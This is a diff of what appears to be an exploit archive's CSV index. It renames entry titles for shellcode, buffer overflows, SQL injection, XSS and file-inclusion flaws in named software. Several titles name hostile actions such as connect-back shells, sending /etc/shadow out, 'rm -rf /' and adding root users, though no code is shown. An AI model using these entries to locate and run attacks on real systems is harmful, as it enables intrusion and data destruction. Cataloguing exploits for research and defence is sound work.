-13268,platforms/freebsd_x86/shellcode/13268.asm,"freebsd/x86 setuid(0); execve(ipf -Fa);  shellcode 57 bytes",2008-08-21,sm4x,freebsd_x86,shellcode,0
+13268,platforms/freebsd_x86/shellcode/13268.asm,"freebsd/x86 setuid(0); execve(ipf -Fa); shellcode 57 bytes",2008-08-21,sm4x,freebsd_x86,shellcode,0
 13269,platforms/freebsd_x86/shellcode/13269.c,"freebsd/x86 encrypted shellcode /bin/sh 48 bytes",2008-08-19,c0d3_z3r0,freebsd_x86,shellcode,0
 13270,platforms/freebsd_x86/shellcode/13270.c,"freebsd/x86 portbind 4883 with auth shellcode",2006-07-19,MahDelin,freebsd_x86,shellcode,0
 13271,platforms/freebsd_x86/shellcode/13271.c,"freebsd/x86 reboot(RB_AUTOBOOT) Shellcode 7 bytes",2006-04-19,IZ,freebsd_x86,shellcode,0
@@ -11740,11 +11740,11 @@ id,file,description,date,author,platform,type,port
 13286,platforms/generator/shellcode/13286.c,"Alphanumeric Shellcode Encoder Decoder",2008-08-04,"Avri Schneider",generator,shellcode,0
 13287,platforms/generator/shellcode/13287.txt,"Download & Exec polymorphed shellcode Engine",2007-01-24,"YAG KOHHA",generator,shellcode,0
 13288,platforms/generator/shellcode/13288.c,"Utility for generating HTTP/1.x requests for shellcodes",2006-10-22,izik,generator,shellcode,0
-13289,platforms/generator/shellcode/13289.c,"Multi-Format Shellcode Encoding Tool - Beta v2.0 (w32)",2005-12-16,SkyLined,generator,shellcode,0
+13289,platforms/generator/shellcode/13289.c,"Multi-Format Shellcode Encoding Tool - Beta 2.0 (w32)",2005-12-16,SkyLined,generator,shellcode,0
 13290,platforms/hardware/shellcode/13290.txt,"Version-independent IOS shellcode",2008-08-21,"Andy Davis",hardware,shellcode,0
-13291,platforms/hardware/shellcode/13291.txt,"Cisco IOS Connectback shellcode v1.0",2008-08-13,"Gyan Chawdhary",hardware,shellcode,0
-13292,platforms/hardware/shellcode/13292.txt,"Cisco IOS Bind shellcode v1.0",2008-08-13,"Gyan Chawdhary",hardware,shellcode,0
-13293,platforms/hardware/shellcode/13293.txt,"Cisco IOS Tiny shellcode v1.0",2008-08-13,"Gyan Chawdhary",hardware,shellcode,0
+13291,platforms/hardware/shellcode/13291.txt,"Cisco IOS Connectback Shellcode 1.0",2008-08-13,"Gyan Chawdhary",hardware,shellcode,0
+13292,platforms/hardware/shellcode/13292.txt,"Cisco IOS Bind Shellcode 1.0",2008-08-13,"Gyan Chawdhary",hardware,shellcode,0
+13293,platforms/hardware/shellcode/13293.txt,"Cisco IOS Tiny Shellcode 1.0",2008-08-13,"Gyan Chawdhary",hardware,shellcode,0
 13294,platforms/hardware/shellcode/13294.txt,"Cisco IOS Shellcode And Exploitation Techniques (BlackHat)",2005-08-01,"Michael Lynn",hardware,shellcode,0
 13295,platforms/hp-ux/shellcode/13295.txt,"HPUX execve /bin/sh 58 bytes",2004-09-26,k2,hp-ux,shellcode,0
 13296,platforms/lin_amd64/shellcode/13296.c,"linux/amd64 flush iptables rules shellcode 84 bytes",2008-11-28,gat3way,lin_amd64,shellcode,0
@@ -11793,7 +11793,7 @@ id,file,description,date,author,platform,type,port
 13339,platforms/lin_x86/shellcode/13339.asm,"linux/x86 connect back.send.exit /etc/shadow 155 bytes",2008-08-18,0in,lin_x86,shellcode,0
 13340,platforms/lin_x86/shellcode/13340.c,"linux/x86 writes a php connectback shell to the fs 508 bytes",2008-08-18,GS2008,lin_x86,shellcode,0
 13341,platforms/lin_x86/shellcode/13341.c,"linux/x86 rm -rf / attempts to block the process from being stopped",2008-08-18,onionring,lin_x86,shellcode,0
-13342,platforms/lin_x86/shellcode/13342.c,"linux/x86 setuid(0) . setgid(0) . aslr_off  79 bytes",2008-08-18,LiquidWorm,lin_x86,shellcode,0
+13342,platforms/lin_x86/shellcode/13342.c,"linux/x86 setuid(0) . setgid(0) . aslr_off 79 bytes",2008-08-18,LiquidWorm,lin_x86,shellcode,0
 13343,platforms/lin_x86/shellcode/13343.asm,"linux/x86 raw-socket ICMP/checksum shell 235 byte",2007-04-02,mu-b,lin_x86,shellcode,0
 13344,platforms/lin_x86/shellcode/13344.c,"linux/x86 /sbin/iptables -F 40 bytes",2007-03-09,"Kris Katterjohn",lin_x86,shellcode,0
 13345,platforms/lin_x86/shellcode/13345.c,"linux/x86 kill all processes 11 bytes",2007-03-09,"Kris Katterjohn",lin_x86,shellcode,0
@@ -12025,7 +12025,7 @@ id,file,description,date,author,platform,type,port
 13645,platforms/windows/shellcode/13645.c,"JITed egg-hunter stage-0 shellcode",2010-03-20,"Alexey Sintsov",windows,shellcode,0
 13647,platforms/windows/shellcode/13647.txt,"win32/xp sp3 (Ru) WinExec+ExitProcess cmd shellcode 12 bytes",2010-03-24,"lord Kelvin",windows,shellcode,0
 13648,platforms/win32/shellcode/13648.rb,"Shellcode - Win32 MessageBox (Metasploit module)",2010-03-24,corelanc0d3r,win32,shellcode,0
-13649,platforms/windows/shellcode/13649.txt,"JITed egg-hunter stage-0 shellcode Adjusted  universal for xp/vista/win7",2010-03-27,"Alexey Sintsov",windows,shellcode,0
+13649,platforms/windows/shellcode/13649.txt,"JITed egg-hunter stage-0 shellcode Adjusted universal for xp/vista/win7",2010-03-27,"Alexey Sintsov",windows,shellcode,0
 13661,platforms/linux/shellcode/13661.txt,"linux x86 nc -lvve/bin/sh -p13377 shellcode",2010-04-02,Anonymous,linux,shellcode,0
 13669,platforms/linux/shellcode/13669.c,"36 bytes chmod(""/etc/shadow"", 0666) shellcode",2010-04-14,Magnefikko,linux,shellcode,0
 13670,platforms/linux/shellcode/13670.c,"25 bytes execve(""/bin/sh"") shellcode",2010-04-14,Magnefikko,linux,shellcode,0
@@ -12066,25 +12066,25 @@ id,file,description,date,author,platform,type,port
 13732,platforms/linux/shellcode/13732.c,"x86 linux hard / unclean reboot (33 bytes)",2010-06-03,gunslinger_,linux,shellcode,0
 13733,platforms/solaris/shellcode/13733.c,"Solaris/x86 - SystemV killall command - 39 bytes",2010-06-03,"Jonathan Salwan",solaris,shellcode,0
 13735,platforms/osx/remote/13735.py,"OS X EvoCam Web Server Buffer Overflow Exploit 3.6.6 and 3.6.7",2010-06-05,d1dn0t,osx,remote,8080
-13736,platforms/php/webapps/13736.txt,"DDLCMS v2.1 (skin) Remote File Inclusion Vulnerability",2010-06-06,eidelweiss,php,webapps,0
+13736,platforms/php/webapps/13736.txt,"DDLCMS 2.1 - (skin) Remote File Inclusion Vulnerability",2010-06-06,eidelweiss,php,webapps,0
 13737,platforms/php/webapps/13737.txt,"Joomla Component com_djartgallery Multiple Vulnerabilities",2010-06-06,d0lc3,php,webapps,0
 13738,platforms/php/webapps/13738.txt,"PHP Director 0.2 Sql Injection",2010-06-06,Mr.Rat,php,webapps,0
-13739,platforms/php/webapps/13739.txt,"XSS, SQL injection vulnerability in WmsCMS",2010-06-06,Ariko-Security,php,webapps,0
-13740,platforms/php/webapps/13740.txt,"iScripts eSwap v2.0 sqli and xss vulnerability",2010-06-06,Sid3^effects,php,webapps,0
-13741,platforms/php/webapps/13741.txt,"iScripts easybiller v1.1 sqli vulnerability",2010-06-06,Sid3^effects,php,webapps,0
+13739,platforms/php/webapps/13739.txt,"WmsCMS - XSS, SQL injection vulnerability",2010-06-06,Ariko-Security,php,webapps,0
+13740,platforms/php/webapps/13740.txt,"iScripts eSwap 2.0 - sqli and xss vulnerability",2010-06-06,Sid3^effects,php,webapps,0
+13741,platforms/php/webapps/13741.txt,"iScripts easybiller 1.1 - SQL Injection Vulnerability",2010-06-06,Sid3^effects,php,webapps,0
 13742,platforms/linux/shellcode/13742.c,"48 bytes chown root:root /bin/sh x86 linux shellcode",2010-06-06,gunslinger_,linux,shellcode,0
 13743,platforms/linux/shellcode/13743.c,"45 bytes give all user root access when execute /bin/sh x86 linux shellcode",2010-06-06,gunslinger_,linux,shellcode,0
 13744,platforms/php/webapps/13744.txt,"RTRandomImage Remote File Inclusion Vulnerability",2010-06-06,"Sn!pEr.S!Te Hacker",php,webapps,0
 13745,platforms/php/webapps/13745.txt,"Sphider Script Remote Code Execution",2010-06-06,XroGuE,php,webapps,0
 13746,platforms/php/webapps/13746.txt,"Joomla Component com_searchlog SQL Injection",2010-06-06,d0lc3,php,webapps,0
-13747,platforms/php/webapps/13747.txt,"PHP car rental complete System V1.2 SQli vulnerability",2010-06-06,Sid3^effects,php,webapps,0
+13747,platforms/php/webapps/13747.txt,"PHP Car Rental Complete System 1.2 - SQL Injection Vulnerability",2010-06-06,Sid3^effects,php,webapps,0
 13748,platforms/php/webapps/13748.txt,"Joomla Component com_annonces Upload Vulnerability",2010-06-06,Sid3^effects,php,webapps,0
 13749,platforms/php/webapps/13749.txt,"idevspot Text ads 2.08 sqli vulnerability",2010-06-06,Sid3^effects,php,webapps,0
 13750,platforms/php/webapps/13750.txt,"WebBiblio Subject Gateway System LFI Vulnerability",2010-06-06,AntiSecurity,php,webapps,0
 13751,platforms/php/webapps/13751.txt,"greeting card Remote Upload Vulnerability",2010-06-06,Mr.Benladen,php,webapps,0
 13752,platforms/php/webapps/13752.txt,"reVou Twitter Clone Beta 2.0 SQLi and Xss vulnerability",2010-06-06,Sid3^effects,php,webapps,0
 13754,platforms/multiple/webapps/13754.txt,"JForum 2.1.8 bookmarks CSRF & XSS",2010-06-07,"Adam Baldwin",multiple,webapps,0
-13756,platforms/windows/local/13756.py,"VUPlayer <=2.49 .M3u Universal buffer overflow exploit w/ DEP bypass",2010-06-07,mr_me,windows,local,0
+13756,platforms/windows/local/13756.py,"VUPlayer <= 2.49 - (.m3u) Universal buffer overflow exploit w/ DEP bypass",2010-06-07,mr_me,windows,local,0
 13760,platforms/windows/local/13760.py,"Audio Converter 8.1 0day Stack Buffer Overflow PoC exploit",2010-06-07,Sud0,windows,local,0
 13761,platforms/windows/local/13761.pl,"Easy CD-DA Recorder 2007 SEH Buffer Overflow",2010-06-07,chap0,windows,local,0
 13762,platforms/php/webapps/13762.txt,"CommonSense CMS Sql Injection Vulnerability",2010-06-07,Pokeng,php,webapps,0
@@ -12092,25 +12092,25 @@ id,file,description,date,author,platform,type,port
 13766,platforms/php/webapps/13766.txt,"Authentication Bypass in Home of MCLogin System",2010-06-08,"L0rd CrusAd3r",php,webapps,0
 13767,platforms/windows/local/13767.c,"SureThing CD Labeler (m3u/pls) - Unicode Stack Overflow PoC Exploit",2010-06-08,mr_me,windows,local,0
 13768,platforms/php/local/13768.py,"Castripper 2.50.70 (.pls) stack buffer overflow w/ DEP bypass exploit",2010-06-08,mr_me,php,local,0
-13769,platforms/php/webapps/13769.txt,"CafeEngine CMS V2.3 SQLI Vulnerability",2010-06-08,Sid3^effects,php,webapps,0
+13769,platforms/php/webapps/13769.txt,"CafeEngine CMS 2.3 - SQLI Vulnerability",2010-06-08,Sid3^effects,php,webapps,0
 13770,platforms/php/webapps/13770.txt,"Hotel / Resort Site Script with OnLine Reservation System",2010-06-08,"L0rd CrusAd3r",php,webapps,0
 13771,platforms/php/webapps/13771.txt,"EMO Realty Manager SQLi Vulnerable",2010-06-08,"L0rd CrusAd3r",php,webapps,0
 13772,platforms/php/webapps/13772.txt,"Rayzz Photoz Upload Vulnerability",2010-06-08,Sid3^effects,php,webapps,0
 13773,platforms/php/webapps/13773.txt,"Holiday Travel Portal Upload Vulnerability",2010-06-08,Sid3^effects,php,webapps,0
 13774,platforms/hardware/dos/13774.pl,"Motorola SB5101 Hax0rware Rajko HTTPD Remote Exploit PoC",2010-06-08,"Dillon Beresford ",hardware,dos,80
 13775,platforms/hardware/dos/13775.pl,"Motorola SB5101 Hax0rware Event Reset Remote Overflow",2010-06-08,"Dillon Beresford ",hardware,dos,80
-13776,platforms/php/webapps/13776.txt,"Multiple Permanent Cross-site Scripting in Phreebooks v2.0",2010-06-08,"Gustavo Sorondo",php,webapps,0
-13777,platforms/php/webapps/13777.txt,"Phreebooks v2.0 Local File Inclusion",2010-06-08,"Gustavo Sorondo",php,webapps,0
-13778,platforms/php/webapps/13778.txt,"Directory Traversal in Phreebooks v2.0",2010-06-08,"Gustavo Sorondo",php,webapps,0
+13776,platforms/php/webapps/13776.txt,"Phreebooks 2.0 - Multiple Permanent Cross-site Scripting",2010-06-08,"Gustavo Sorondo",php,webapps,0
+13777,platforms/php/webapps/13777.txt,"Phreebooks 2.0 - Local File Inclusion",2010-06-08,"Gustavo Sorondo",php,webapps,0
+13778,platforms/php/webapps/13778.txt,"Phreebooks 2.0 - Directory Traversal",2010-06-08,"Gustavo Sorondo",php,webapps,0
 13779,platforms/php/webapps/13779.txt,"Pre Web Host SQL Injection Vulnerability",2010-06-08,Mr.Benladen,php,webapps,0
-13781,platforms/php/webapps/13781.txt,"phplist version 2.8.11 SQL Injection Vulnerability",2010-06-08,d3v1l,php,webapps,0
+13781,platforms/php/webapps/13781.txt,"phplist 2.8.11 - SQL Injection Vulnerability",2010-06-08,d3v1l,php,webapps,0
 13782,platforms/php/webapps/13782.txt,"Image Store Remote file Upload Vulnerability",2010-06-08,Mr.FireStormm,php,webapps,0
 13783,platforms/php/webapps/13783.txt,"GREEZLE - Global Real Estate Agent Site Auth SQL Injection",2010-06-09,"L0rd CrusAd3r",php,webapps,0
 13784,platforms/php/webapps/13784.txt,"HauntmAx CMS Haunted House Directory Listing SQL Injection",2010-06-09,Sid3^effects,php,webapps,0
 13785,platforms/php/webapps/13785.txt,"eLMS Pro SQLi and XSS Vulnerability",2010-06-09,Sid3^effects,php,webapps,0
 13786,platforms/php/webapps/13786.txt,"PGAUTOPro SQLi and XSS Vulnerability",2010-06-09,Sid3^effects,php,webapps,0
-13787,platforms/multiple/remote/13787.txt,"0day Exploit for Adobe Flash and Reader PoC (from the wild)",2010-06-09,unknown,multiple,remote,0
-13788,platforms/asp/webapps/13788.txt,"Web Wiz Forums 9.68 SQLi  Vulnerability",2010-06-09,Sid3^effects,asp,webapps,0
+13787,platforms/multiple/remote/13787.txt,"Adobe Flash and Reader - 0day Exploit PoC (from the wild)",2010-06-09,unknown,multiple,remote,0
+13788,platforms/asp/webapps/13788.txt,"Web Wiz Forums 9.68 SQLi Vulnerability",2010-06-09,Sid3^effects,asp,webapps,0
 13789,platforms/asp/webapps/13789.txt,"Virtual Real Estate Manager V 3.5 SQLi Vulnerability",2010-06-09,Sid3^effects,asp,webapps,0
 13790,platforms/asp/webapps/13790.txt,"iClone SQL Injection Vulnerability",2010-06-09,Sid3^effects,asp,webapps,0
 13792,platforms/php/webapps/13792.txt,"Joomla component cinema SQL injection Vulnerability",2010-06-09,Sudden_death,php,webapps,0
@@ -12126,11 +12126,11 @@ id,file,description,date,author,platform,type,port
 13803,platforms/php/webapps/13803.txt,"PHPAccess SQLi Vulnerability",2010-06-09,"L0rd CrusAd3r",php,webapps,0
 13804,platforms/php/webapps/13804.txt,"joomla com_jnewsletter SQLi Vulnerability",2010-06-09,Sid3^effects,php,webapps,0
 13805,platforms/php/webapps/13805.txt,"PHP Property Rental Script SQLi & XSS Vulnerability",2010-06-09,"L0rd CrusAd3r",php,webapps,0
-13806,platforms/windows/local/13806.txt,"Buffer Overflow ActivePerl v5.8.8.817",2010-06-09,PoisonCode,windows,local,0
+13806,platforms/windows/local/13806.txt,"ActivePerl 5.8.8.817 - Buffer Overflow",2010-06-09,PoisonCode,windows,local,0
 13807,platforms/php/webapps/13807.py,"BtiTracker 1.3.X - 1.4.X Exploit",2010-06-09,TinKode,php,webapps,0
 13808,platforms/windows/remote/13808.txt,"Microsoft Windows Help Centre Handles Malformed Escape Sequences Incorrectly",2010-06-10,"Tavis Ormandy",windows,remote,0
 13810,platforms/php/webapps/13810.php,"AWCM CMS Local File Inclusion Vulnerability",2010-06-10,SwEET-DeViL,php,webapps,0
-13812,platforms/php/webapps/13812.txt,"SchoolMation Version 2.3 SQLi and XSS Vulnerability",2010-06-10,Sid3^effects,php,webapps,0
+13812,platforms/php/webapps/13812.txt,"SchoolMation 2.3 - SQLi and XSS Vulnerability",2010-06-10,Sid3^effects,php,webapps,0
 13813,platforms/php/webapps/13813.html,"Store Locator Remote Add Admin Exploit CSRF Vulnerability",2010-06-10,JaMbA,php,webapps,0
 13814,platforms/asp/webapps/13814.txt,"Pars Design CMS Arbitrary File Upload",2010-06-10,Securitylab.ir,asp,webapps,0
 13815,platforms/asp/webapps/13815.pl,"Netvolution CMS <= 2.x SQL Injection Exploit Script",2010-06-10,"amquen and krumel",asp,webapps,0
@@ -12138,7 +12138,7 @@ id,file,description,date,author,platform,type,port
 13817,platforms/windows/dos/13817.pl,"Adobe InDesign CS3 INDD File Handling Buffer Overflow Vulnerability",2010-06-11,LiquidWorm,windows,dos,0
 13818,platforms/windows/remote/13818.txt,"Nginx 0.8.36 Source Disclosure and DoS Vulnerabilities",2010-06-11,Dr_IDE,windows,remote,0
 13819,platforms/php/webapps/13819.txt,"E-PHP B2B Marketplace Multiple Vulns",2010-06-11,MizoZ,php,webapps,0
-13820,platforms/windows/local/13820.pl,"Power Tab Editor v1.7 (Build 80) Buffer Overflow",2010-06-11,Sud0,windows,local,0
+13820,platforms/windows/local/13820.pl,"Power Tab Editor 1.7 (Build 80) - Buffer Overflow",2010-06-11,Sud0,windows,local,0
 13822,platforms/windows/remote/13822.txt,"Nginx <= 0.7.65 / 0.8.39 (dev) Source Disclosure / Download Vulnerability",2010-06-11,"Jose A. Vazquez",windows,remote,0
 13823,platforms/hardware/dos/13823.txt,"Savy Soda Documents (Mobile Office Suite) XLS Denial-of-Service",2010-06-11,"Matthew Bergin",hardware,dos,0
 13824,platforms/hardware/dos/13824.txt,"Office^2 iPhone XLS Denial-of-Service",2010-06-11,"Matthew Bergin",hardware,dos,0
@@ -12154,7 +12154,7 @@ id,file,description,date,author,platform,type,port
 13834,platforms/windows/remote/13834.html,"Sygate Personal Firewall 5.6 build 2808 ActiveX with DEP bypass",2010-06-11,Lincoln,windows,remote,0
 13835,platforms/php/webapps/13835.txt,"DaLogin 2.2 (FCKeditor) Remote Arbitrary File Upload Exploit",2010-06-11,eidelweiss,php,webapps,0
 13836,platforms/windows/dos/13836.py,"Solarwinds 10.4.0.13 Denial of Service Exploit",2010-06-12,Nullthreat,windows,dos,0
-13837,platforms/windows/dos/13837.pl,"Media Player Classic V1.3.1774.0 (mpcpl) 0day suffer from local DoS (PoC)",2010-06-12,R3d-D3v!L,windows,dos,0
+13837,platforms/windows/dos/13837.pl,"Media Player Classic 1.3.1774.0 - (mpcpl) Local DoS (PoC) (0day)",2010-06-12,R3d-D3v!L,windows,dos,0
 13838,platforms/windows/dos/13838.pl,"CP3 Studio PC Version Denial of Service",2010-06-12,chap0,windows,dos,0
 13840,platforms/asp/webapps/13840.txt,"VU Case Manager Authentication Bypass",2010-06-12,"L0rd CrusAd3r",asp,webapps,0
 13841,platforms/asp/webapps/13841.txt,"VU Mass Mailer Authentication Bypass",2010-06-12,"L0rd CrusAd3r",asp,webapps,0
@@ -12183,20 +12183,20 @@ id,file,description,date,author,platform,type,port
 13865,platforms/php/webapps/13865.txt,"Daily Inspirational Quotes Script SQL Injection Vulnerability",2010-06-14,Valentin,php,webapps,0
 13866,platforms/php/webapps/13866.txt,"Joke Website Script SQL Injection and Cross-Site Scripting Vulnerabilities",2010-06-14,Valentin,php,webapps,0
 13867,platforms/php/webapps/13867.txt,"E-Book Store SQL Injection Vulnerability",2010-06-14,Valentin,php,webapps,0
-13870,platforms/hardware/dos/13870.py,"QuickOffice v3.1.0 for iPhone/iPod Touch Malformed HTTP Method Remote DoS",2010-06-14,"Nishant Das Patnaik",hardware,dos,0
-13871,platforms/hardware/dos/13871.py,"Impact PDF Reader v2.0 for iPhone/iPod Touch POST Method Remote DoS",2010-06-14,"Nishant Das Patnaik",hardware,dos,0
-13872,platforms/windows/dos/13872.txt,"SumatraPDF v1.1 Denial of Service PoC",2010-06-14,"Matthew Bergin",windows,dos,0
+13870,platforms/hardware/dos/13870.py,"iOS QuickOffice 3.1.0 - HTTP Method Remote DoS",2010-06-14,"Nishant Das Patnaik",hardware,dos,0
+13871,platforms/hardware/dos/13871.py,"iOS Impact PDF Reader 2.0 - POST Method Remote DoS",2010-06-14,"Nishant Das Patnaik",hardware,dos,0
+13872,platforms/windows/dos/13872.txt,"SumatraPDF 1.1 - Denial of Service PoC",2010-06-14,"Matthew Bergin",windows,dos,0
 13875,platforms/solaris_x86/shellcode/13875.c,"Solaris/x86 - Sync() & reboot() & exit(0) - 48 bytes",2010-06-14,"Jonathan Salwan",solaris_x86,shellcode,0
-13876,platforms/windows/dos/13876.py,"File Sharing Wizard v1.5.0 Buffer Overflow PoC",2010-06-15,m-1-k-3,windows,dos,0
+13876,platforms/windows/dos/13876.py,"File Sharing Wizard 1.5.0 - Buffer Overflow PoC",2010-06-15,m-1-k-3,windows,dos,0
 13880,platforms/asp/webapps/13880.txt,"Smart ASP Survey XSS and SQL Injection Vulnerabilities",2010-06-15,"L0rd CrusAd3r",asp,webapps,0
 13881,platforms/php/webapps/13881.txt,"Pre Job Board Pro SQL Injection Auth Bypass Vulnerability",2010-06-15,"L0rd CrusAd3r",php,webapps,0
 13882,platforms/asp/webapps/13882.txt,"SAS Hotel Management System user_login.asp SQL Injection Vulnerability",2010-06-15,"L0rd CrusAd3r",asp,webapps,0
 13883,platforms/asp/webapps/13883.txt,"Business Classified Listing SQL Injection Vulnerability",2010-06-15,"L0rd CrusAd3r",asp,webapps,0
 13884,platforms/asp/webapps/13884.txt,"Restaurant Listing with Online Ordering SQL Injection Vulnerability",2010-06-15,"L0rd CrusAd3r",asp,webapps,0
-13885,platforms/asp/webapps/13885.txt,"Acuity CMS v2.7.1 SQL Injection Vulnerability",2010-06-15,"L0rd CrusAd3r",asp,webapps,0
+13885,platforms/asp/webapps/13885.txt,"Acuity CMS 2.7.1 - SQL Injection Vulnerability",2010-06-15,"L0rd CrusAd3r",asp,webapps,0
 13886,platforms/asp/webapps/13886.txt,"IISWorks FileMan fileman.mdb Remote User Database Disclosure",2010-06-15,j0fer,asp,webapps,0
 13887,platforms/windows/dos/13887.c,"Winplot 2010 Buffer Overflow PoC",2010-06-15,"fl0 fl0w",windows,dos,0
-13888,platforms/windows/dos/13888.c,"SasCam v2.6.5 Remote HTTP Server Crash",2010-06-15,"fl0 fl0w",windows,dos,0
+13888,platforms/windows/dos/13888.c,"SasCam 2.6.5 - Remote HTTP Server Crash",2010-06-15,"fl0 fl0w",windows,dos,0
 13889,platforms/php/webapps/13889.txt,"Nakid CMS 0.5.2 Remote File Inclusion Exploit",2010-06-16,sh00t0ut,php,webapps,0
 13890,platforms/php/webapps/13890.txt,"EZPX Photoblog 1.2 beta Remote File Inclusion Exploit",2010-06-16,sh00t0ut,php,webapps,0
 13891,platforms/asp/webapps/13891.html,"AspTR EXtended CSRF Bug",2010-06-16,FreWaL,asp,webapps,0
@@ -12210,16 +12210,16 @@ id,file,description,date,author,platform,type,port
 13900,platforms/php/webapps/13900.txt,"Easy Travel Portal SQl Vulnerable",2010-06-17,"L0rd CrusAd3r",php,webapps,0
 13901,platforms/php/webapps/13901.txt,"PenPals Authentication Bypass",2010-06-17,"L0rd CrusAd3r",php,webapps,0
 13902,platforms/asp/webapps/13902.txt,"Ananda Image Gallery SQL Vulnerability",2010-06-17,"L0rd CrusAd3r",asp,webapps,0
-13903,platforms/windows/remote/13903.py,"File Sharing Wizard Version 1.5.0 (SEH) Exploit",2010-06-17,b0nd,windows,remote,0
+13903,platforms/windows/remote/13903.py,"File Sharing Wizard 1.5.0 - (SEH) Exploit",2010-06-17,b0nd,windows,remote,0
 13904,platforms/php/webapps/13904.txt,"Planet 1.1 - [CSRF] Add Admin Account",2010-06-17,G0D-F4Th3r,php,webapps,0
-13905,platforms/windows/local/13905.py,"BlazeDVD v5.1 (.plf) Stack Buffer Overflow PoC Exploit - ALSR/DEP Bypass on Win7",2010-06-17,mr_me,windows,local,0
+13905,platforms/windows/local/13905.py,"BlazeDVD 5.1- (.plf) Stack Buffer Overflow PoC Exploit - ALSR/DEP Bypass on Win7",2010-06-17,mr_me,windows,local,0
 13906,platforms/novell/dos/13906.txt,"Netware SMB Remote Stack Overflow PoC",2010-06-17,"Laurent Gaffie",novell,dos,139
-13907,platforms/windows/local/13907.py,"Winamp v5.572 local BOF exploit (EIP & SEH DEP Bypass)",2010-06-17,TecR0c,windows,local,0
+13907,platforms/windows/local/13907.py,"Winamp 5.572 - Local BoF Exploit (EIP & SEH DEP Bypass)",2010-06-17,TecR0c,windows,local,0
 13908,platforms/lin_x86-64/shellcode/13908.c,"Linux/x86-64 - Disable ASLR Security - 143 bytes",2010-06-17,"Jonathan Salwan",lin_x86-64,shellcode,0
-13909,platforms/windows/local/13909.py,"Batch Audio Converter Lite Edition <= v1.0.0.0 Stack Buffer Overflow (SEH)",2010-06-17,modpr0be,windows,local,0
+13909,platforms/windows/local/13909.py,"Batch Audio Converter Lite Edition <= 1.0.0.0 - Stack Buffer Overflow (SEH)",2010-06-17,modpr0be,windows,local,0
 13910,platforms/lin_x86/shellcode/13910.c,"Polymorphic Bindport 31337 with setreuid (0,0) linux/x86",2010-06-17,gunslinger_,lin_x86,shellcode,0
 13911,platforms/php/webapps/13911.txt,"Live CMS SQL Injection Vulnerability",2010-06-17,ahwak2000,php,webapps,0
-13912,platforms/php/webapps/13912.txt,"Havij Persistent XSS (<=v1.10)",2010-06-17,hexon,php,webapps,0
+13912,platforms/php/webapps/13912.txt,"Havij <= 1.10 - Persistent XSS",2010-06-17,Hexon,php,webapps,0
 13915,platforms/lin_x86-64/shellcode/13915.txt,"Linux/x86-64 - setuid(0) & chmod (""/etc/passwd"", 0777) & exit(0) - 63 bytes",2010-06-17,"Jonathan Salwan",lin_x86-64,shellcode,0
 13916,platforms/php/webapps/13916.txt,"PHP-Nuke Module print 6.0 (print&sid) SQL Injection Vulnerability",2010-06-17,Gamoscu,php,webapps,0
 13918,platforms/multiple/webapps/13918.txt,"Spring Framework arbitrary code execution",2010-06-18,"Meder Kydyraliev",multiple,webapps,0
@@ -12227,7 +12227,7 @@ id,file,description,date,author,platform,type,port
 13920,platforms/windows/dos/13920.c,"H264WebCam Boundary Condition Error",2010-06-18,"fl0 fl0w",windows,dos,0
 13921,platforms/windows/dos/13921.c,"PowerZip 7.21 (Build 4010) Stack Buffer Overflow",2010-06-18,"fl0 fl0w",windows,dos,0
 13922,platforms/php/webapps/13922.txt,"Joomla Component com_joomdocs XSS Vulnerability",2010-06-18,Sid3^effects,php,webapps,0
-13923,platforms/php/webapps/13923.txt,"Joomla Component Answers v2.3beta Multiple Vulnerabilities",2010-06-18,jdc,php,webapps,0
+13923,platforms/php/webapps/13923.txt,"Joomla Component Answers 2.3beta - Multiple Vulnerabilities",2010-06-18,jdc,php,webapps,0
 13925,platforms/php/webapps/13925.txt,"Joomla Component Ozio Gallery 2 Multiple Vulnerabilities",2010-06-18,jdc,php,webapps,0
 13926,platforms/php/webapps/13926.txt,"Joomla Component Listbingo 1.3 Multiple Vulnerabilities",2010-06-18,jdc,php,webapps,0
 13927,platforms/php/webapps/13927.txt,"MarketSaz remote file Upload Vulnerability",2010-06-18,NetQurd,php,webapps,0
@@ -12238,11 +12238,11 @@ id,file,description,date,author,platform,type,port
 13933,platforms/php/webapps/13933.txt,"UK One Media CMS (id) Error Based SQL Injection Vulnerability",2010-06-19,LiquidWorm,php,webapps,0
 13934,platforms/windows/dos/13934.py,"MoreAmp (.maf) Buffer Overflow POC",2010-06-19,Sid3^effects,windows,dos,0
 13935,platforms/php/webapps/13935.txt,"Joomla Component RSComments 1.0.0 Persistent XSS",2010-06-19,jdc,php,webapps,0
-13936,platforms/php/webapps/13936.txt,"Elite Gaming Ladders v3.5 SQL Injection Vulnerability  (ladder[id])",2010-06-19,ahwak2000,php,webapps,0
-13937,platforms/php/webapps/13937.txt,"SnowCade v3 SQL Injection Vulnerability",2010-06-19,ahwak2000,php,webapps,0
+13936,platforms/php/webapps/13936.txt,"Elite Gaming Ladders 3.5 - SQL Injection Vulnerability (ladder[id])",2010-06-19,ahwak2000,php,webapps,0
+13937,platforms/php/webapps/13937.txt,"SnowCade 3.0 - SQL Injection Vulnerability",2010-06-19,ahwak2000,php,webapps,0
 13938,platforms/php/webapps/13938.html,"WebsiteBaker 2.8.1 CSRF Proof of Concept",2010-06-19,"Luis Santana",php,webapps,0
 13939,platforms/windows/dos/13939.pl,"Hacker Evolution Game: untold Mod Editor buffer overflow (PoC)",2010-06-19,gunslinger_,windows,dos,0
-13940,platforms/windows/local/13940.pl,"Orbital Viewer v1.04 (.ov) Local Universal Stack Overflow Exploit [SEH]",2010-06-19,Crazy_Hacker,windows,local,0
+13940,platforms/windows/local/13940.pl,"Orbital Viewer 1.04 - (.ov) Local Universal Stack Overflow Exploit (SEH)",2010-06-19,Crazy_Hacker,windows,local,0
 13942,platforms/windows/local/13942.pl,"MoreAmp (.maf) local Stack Buffer Overflow (SEH) (calc)",2010-06-20,MadjiX,windows,local,0
 13943,platforms/lin_x86-64/shellcode/13943.c,"Linux/x86-64 - Add root user with password - 390 bytes",2010-06-20,"Jonathan Salwan",lin_x86-64,shellcode,0
 13944,platforms/php/webapps/13944.txt,"SimpleAssets Authentication Bypass & XSS Vulnerability",2010-06-20,"L0rd CrusAd3r",php,webapps,0
@@ -12256,14 +12256,14 @@ id,file,description,date,author,platform,type,port
 13954,platforms/php/webapps/13954.txt,"G.CMS Generator SQL Injection Vulnerability",2010-06-21,Sid3^effects,php,webapps,0
 13955,platforms/php/webapps/13955.txt,"Joomla Template BizWeb com_community Persistent XSS Vulnerability",2010-06-21,Sid3^effects,php,webapps,0
 13956,platforms/php/webapps/13956.txt,"Joomla Hot Property com_jomestate RFI Vulnerability",2010-06-21,Sid3^effects,php,webapps,0
